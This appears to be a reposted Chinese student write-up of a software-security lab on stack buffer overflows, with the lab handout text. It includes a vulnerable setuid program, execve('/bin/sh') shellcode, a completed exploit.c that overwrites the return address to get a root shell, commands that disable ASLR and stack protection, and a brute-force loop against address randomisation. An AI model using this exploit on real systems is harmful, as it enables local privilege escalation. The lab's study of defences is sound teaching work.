软件安全实验——lab5(Buffer_Overflow缓冲区溢出攻击)

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了软件安全实验——lab5(Buffer_Overflow缓冲区溢出攻击)相关的知识,希望对你有一定的参考价值。

2实验室任务

2.1初始设置

  您可以使用我们预先构建的 Ubuntu虚拟机来执行实验室任务。Ubuntu和其他Linux发行版已经实现了一些安全机制,使缓冲区溢出攻击变得困难。简单地说,我们得先让他们瘫痪。
  地址空间随机化。Ubuntu和其他几个基于linux的系统使用地址空间随机化来随机化堆和堆栈的起始地址。这使得猜测准确地址变得困难;猜测地址是缓冲区溢出攻击的关键步骤之一。在这个实验中,我们使用以下命令禁用这些特性:

$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

  StackGuard保护计划。GCC编译器实现了一种名为“堆栈保护”的安全机制,以防止缓冲区溢出。在此保护存在时,缓冲区溢出将不起作用。如果你使用-fno-stack -保护开关编译程序,你可以禁用这个保护。例如,要编译一个禁用堆栈保护的程序examp le.c,你可以使用以下命令:

$ gcc -fno-stack-protector example.c

  不可执行堆栈。Ubunu过去允许可执行堆栈,但现在已经改变了:程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,也就是说,必须声明它们是否需要可执行堆栈。,它们需要在程序头中标记一个字段。内核或动态连接器使用此标记来决定是否使运行中的程序的堆栈为可执行的或不可执行的。这个标记是由gcc的最新版本自动完成的,默认情况下,堆栈被设置为不可执行的。要改变这种情况,请在编译程序时使用以下选项:
For executable stack:

$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c

2.2 Shellcode

  在你开始攻击之前,你需要一个外壳代码。外壳代码是发射外壳的代码。它必须被加载到内存中这样我们才能迫使易受攻击的程序跳转到内存中。考虑以下程序:

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

  我们使用的 shellcode只是上面程序的汇编版本。下面的程序向您展示了如何通过执行存储在缓冲区中的shellcode来启动shell。请编译并运行以下代码,看看是否调用了shell。

/* call_shellcode.c */ /*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\\x31\\xc0" /* Line 1: xorl %eax,%eax */
"\\x50" /* Line 2: pushl %eax */
"\\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\\x89\\xe3" /* Line 5: movl %esp,%ebx */
"\\x50" /* Line 6: pushl %eax */
"\\x53" /* Line 7: pushl %ebx */
"\\x89\\xe1" /* Line 8: movl %esp,%ecx */
"\\x99" /* Line 9: cdq */
"\\xb0\\x0b" /* Line 10: movb $0x0b,%al */
"\\xcd\\x80" /* Line 11: int $0x80 */ ;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

请使用以下命令编译代码(不要忘记execstack选项);

$ gcc -z execstack -o call_shellcode call_shellcode.c

  在这个shellcode中有几个地方值得一提。首先,第三条指令将"//sh"而不是" /sh"推入堆栈。这是因为我们需要一个32位的数字,而“/sh”只有24位。幸运的是,“//“等价于”/",所以我们可以使用双斜杠符号。其次,在调用execve()系统调用之前,我们需要将name0、name(数组的地址)和NULL分别存储到%ebx、%ecx和%edx寄存器中。第5行存储name[0]到%ebx;第8行存储name到%ecx;第9行设置%edx为零。还有其他方法设置%edx为零(例如,xorl %edx,%edx);这里使用的(cdq)只是一条更短的指令:它将EAX寄存器(此时为0)中的值的符号(第31位)复制到EDX寄存器的每个位位置,基本上将%EDX设置为0。第三,当我们将%al设置为11,并执行“int $0x80”时,系统调用execve()。

2.3易受攻击程序

/stack.c*/
/* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\\n");
return 1;
}

  编译上述易受攻击的程序并设置它的 set-root-uid。你可以通过在根帐户中编译它,并将可执行文件chmod为4755(不要忘记包括execstack 和l-fno-stack-protector 选项来关闭非可执行堆栈和StackGuard保护):

$ su root
Password (enter root password)
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
# exit

  上面的程序有一个缓冲区溢出漏洞。它首先从一个名为“badfile”的文件中读取一个输入,然后将这个输入传递给函数 bof()中的另一个缓冲区。原始输入的最大长度为517字节,但是 bof)中的缓冲区只有12字节长。因为strcpy()不检查边界,所以会发生缓冲区溢出。由于该程序是一个set-root-uid程序,如果普通用户可以利用这个缓冲区澄出漏洞,则普通用户可能能够获得根shell。需要注意的是,该程序的输入来自一个名为“badfile”的文件。该文件由用户控制。现在,我们的目标是为“badfile”创建内容,以便当易受攻击的程序将内容复制到其缓冲区时,可以生成根shell。
  教师:为了测试学生是否真的知道如何进行攻击,在演示期间,要求学生将缓冲区大小从12更改为易受攻击的程序堆栈中的另一个数字。如果学生真的知道攻击,他们应该能够修改攻击代码并成功发动攻击。

2.4任务1:利用漏洞

  我们为您提供一个部分完成的 exploit代码,称为“exploit.c”。这段代码的目标是为“badfile”构造内容。在这个代码中,shellcode是给你的。你需要开发剩下的部分。

/* exploit.c */ /* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\\x31\\xc0" /* xorl %eax,%eax */
"\\x50" /* pushl %eax */
"\\x68""//sh" /* pushl $0x68732f2f */
"\\x68""/bin" /* pushl $0x6e69622f */
"\\x89\\xe3" /* movl %esp,%ebx */
"\\x50" /* pushl %eax */
"\\x53" /* pushl %ebx */
"\\x89\\xe1" /* movl %esp,%ecx */
"\\x99" /* cdq */
"\\xb0\\x0b" /* movb $0x0b,%al */
"\\xcd\\x80" /* int $0x80 */ ;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

  完成上述程序后,编译并运行它。这将生成 badfile 的内容。然后运行脆弱的程序堆栈。如果你的漏洞实现正确,你应该能够得到一个根shell:
  重要提示:请先编译您的易受攻击的程序。请注意,该程序 exploit.c生成坏文件,可以在启用默认堆栈保护的情况下进行编译。这是因为我们不会使程序中的缓冲区溢出。我们将溢出堆栈中的缓冲区。c,它在禁用堆栈保护的情况下编译。

$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!

需要注意的是,尽管您获得了"# "提示符,但您真正的用户id仍然是您自己(有效的用户i现在是 root)。你可以通过输入以下内容进行检查:

# id
uid=(500) euid=0(root)

  如果将许多命令作为Set-UID根进程执行,而不只是作为根进程执行,那么它们的行为将有所不同,因为它们认识到真正的用户id不是根。要解决这个问题,可以运行以下程序将真正的用户id转换为root。这样,您将拥有一个真正的根进程,它更加强大。

void main()
{
setuid(0); system("/bin/sh");
}

1.关闭地址空间随机化,

$ su root
#sysctl -w kernel.randomize_va_space=0

编译时开启可执行栈:

 gcc -z execstack -o call_shellcode call_shellcode.c

2.execstack和-fno-stack-protector选项

来关闭非可执行的堆栈和StackGuard选项,对攻击程序stack.c进行root+suid编译,同时去除它的栈保护.

su root
gcc -o stack -z execstack -fno-stack-protector stack.c
chmod 4755 stack
exit

3.对stack进行gdb,首先查看bof的起始位置和返回地址.


4.确定缓冲区的位置

先在badfile里写入了AAAA,为了确定缓冲区的位置,查看ESP之后,我们可以知道返回地址和缓冲区之间相差了9个字节

这样我们就可以在返回地址填充36个字符,然后在返回地址出写入我们shellcode所在缓冲区的地址.

0xbfffeff0+200=bffff0b8

5.开始攻击

在exploit.c中添加了攻击代码如下:

/* exploit.c */ /* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\\x31\\xc0" /* xorl %eax,%eax */
"\\x50" /* pushl %eax */
"\\x68""//sh" /* pushl $0x68732f2f */
"\\x68""/bin" /* pushl $0x6e69622f */
"\\x89\\xe3" /* movl %esp,%ebx */
"\\x50" /* pushl %eax */
"\\x53" /* pushl %ebx */
"\\x89\\xe1" /* movl %esp,%ecx */
"\\x99" /* cdq */
"\\xb0\\x0b" /* movb $0x0b,%al */
"\\xcd\\x80" /* int $0x80 */ ;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */
strcpy(buffer, "qqqqwwwwqqqqwwwwqqqqwwwwqqqqwwwwqqqq\\xb8\\xf0\\xff\\xbf");
strcpy( buffer+200,shellcode);

badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

之后编译运行,最终获得了root权限

  中间还发生了意个小插曲,就是第二次打开终端进行实验时,忘记关闭stack.c的栈保护:gcc -o stack -z execstack -fno-stack-protector stack.c了,结果算了一晚上也没能成功。最后在第二天的时候发现了这个问题,才成功了。

2.5任务2:地址随机化

  现在,我们打开Ubuntu的地址随机化。我们运行Task 1中开发的相同攻击。你能拿一个贝壳吗?如果没有,是什么问题?地址随机化如何使您的攻击变得困难?你应该在你的实验报告中描述你的观察和解释。您可以使用以下说明来打开地址随机化:

$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2

  如果运行一次易受攻击的代码无法获得根shell,那么多次运行该代码又如何呢?可以在下面的循环中运行.stack,看看会发生什么。如果您的利用程序设计正确,您应该能够在一段时间后获得根shell。您可以修改您的利用程序,以增加成功的概率(即:减少你的等待时间)。

$ sh -c "while [ 1 ]; do ./stack; done;"

使用的脚本如上,先打开地址随机化,然后运行脚本,重复攻击。

在中午去上课的时候运行了攻击脚本,回来的时候结果已经出来了,成功获得了root权限。

2.6任务3:堆栈保护

  在完成这个任务之前,请记住首先关闭地址随机化,否则您将不知道哪个保护有助于实现保护。
  在之前的任务中,我们在编译程序时禁用了GCC中的“堆栈保护”保护机制。在这个任务中,您可以考虑在Stack Guard存在的情况下重复任务1。要做到这一点,你应该在没有-fno-stack-protector选项的情况下编译程序。对于此任务,您将重新编译易受攻击的程序堆栈。要使用GCC的堆栈守卫,请再次执行任务1,并报告观察结果。您可以报告观察到的任何错误消息。
  在GCC4.3.3和更新的版本中,默认情况下启用了Stack Guard。因此,您必须使用前面提到的开关禁用堆栈保护。在早期的版本中,默认情况下是禁用的。如果您使用较旧的GCC版本,您可能不必禁用堆栈保护。

打开gcc编译器的栈保护机制,即在编译时,不使用-fno-stack-protector,那么重复以上的攻击,我们是无法攻击成功的。

2.7任务4:非可执行堆栈

  在完成这个任务之前,请记住首先关闭地址随机化,否则您将不知道哪个保护有助于实现保护。
  在前面的任务中,我们故意使堆栈可执行。在这个任务中,我们使用noexecstack选项重新编译脆弱的程序,并在任务1中重复攻击。你能拿一个shell吗?如果没有,是什么问题?这个保护方案如何使您的攻击变得困难?你应该在你的实验报告中描述你的观察和解释。您可以使用以下说明来打开非可执行堆栈保护。
# Gcc -o stack -fno-stack-protector -z noexecstack .c
  需要注意的是,非可执行堆栈只会使在堆栈上运行 shellcode变得不可能,但它并不能防止缓冲区溢出攻击,因为在利用缓冲区溢出漏洞之后,还有其他方法可以运行恶意代码。回到 libc 的进攻就是一个例子。我们为这次袭击设计了一个单独的实验室。如果您感兴趣,请参阅我们的返回- libc攻击实验室的详细信息。
  如果你正在使用我们的Ubuntu 12.04虚拟机,这个非执行堆栈保护是否有效取决于CPU和你的虚拟机设置,因为这个保护取决于CPU提供的硬件特性。如果您发现非可执行堆栈保护不起作用,请查看我们链接到实验室网页的文档(“non-xecutable stack Notes”),看看文档中的说明是否可以帮助您解决问题。如果没有,那么你可能需要自己解决问题。

使用noexecstack选项重新编译脆弱的程序之后,由于堆栈不可执行,我们也无法攻击成功。

以上是关于软件安全实验——lab5(Buffer_Overflow缓冲区溢出攻击)的主要内容,如果未能解决你的问题,请参考以下文章

2021哈工大深入理解计算机系统Lab5(linklab)

ICS计算系统概论LC3汇编实验Lab5—中断递归解决汉诺塔问题

ICS计算系统概论LC3汇编实验Lab5—中断递归解决汉诺塔问题

Ucore_lab 5~8 相关

LAPM 相关实验

ucore实验